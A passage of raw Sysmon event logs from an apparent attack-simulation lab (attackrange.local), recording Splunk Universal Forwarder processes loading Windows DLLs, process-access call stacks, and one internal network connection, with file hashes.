Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.764{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000056479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.763{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.763{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000056477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.763{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.763{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000056475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.763{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.763{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.762{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.762{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.760{7BD73061-74E4-613B-A90B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000056470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.444{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3FE01AEE7E9C73A533435FD426A65517,SHA256=181FD104BD4486EE9B3004D4B7F99D35EBD9A8F33CA7A81F620B95D8873DAFAE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.413{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF775F9F132016DB5614446E6CE7BC02,SHA256=028F63D724A2810846413A292B0ED4DB827F15B9CE5654BD56CE8CF10AFBB2FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.282{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000056467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.282{7BD73061-74E4-613B-A80B-00000000F001}36166504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.282{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.282{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 354300x800000000000000018104Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:19.424{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50407-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 734700x800000000000000056464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.113{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.113{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.113{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.113{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.113{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.113{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.098{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.098{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.098{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.098{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.098{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.098{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft 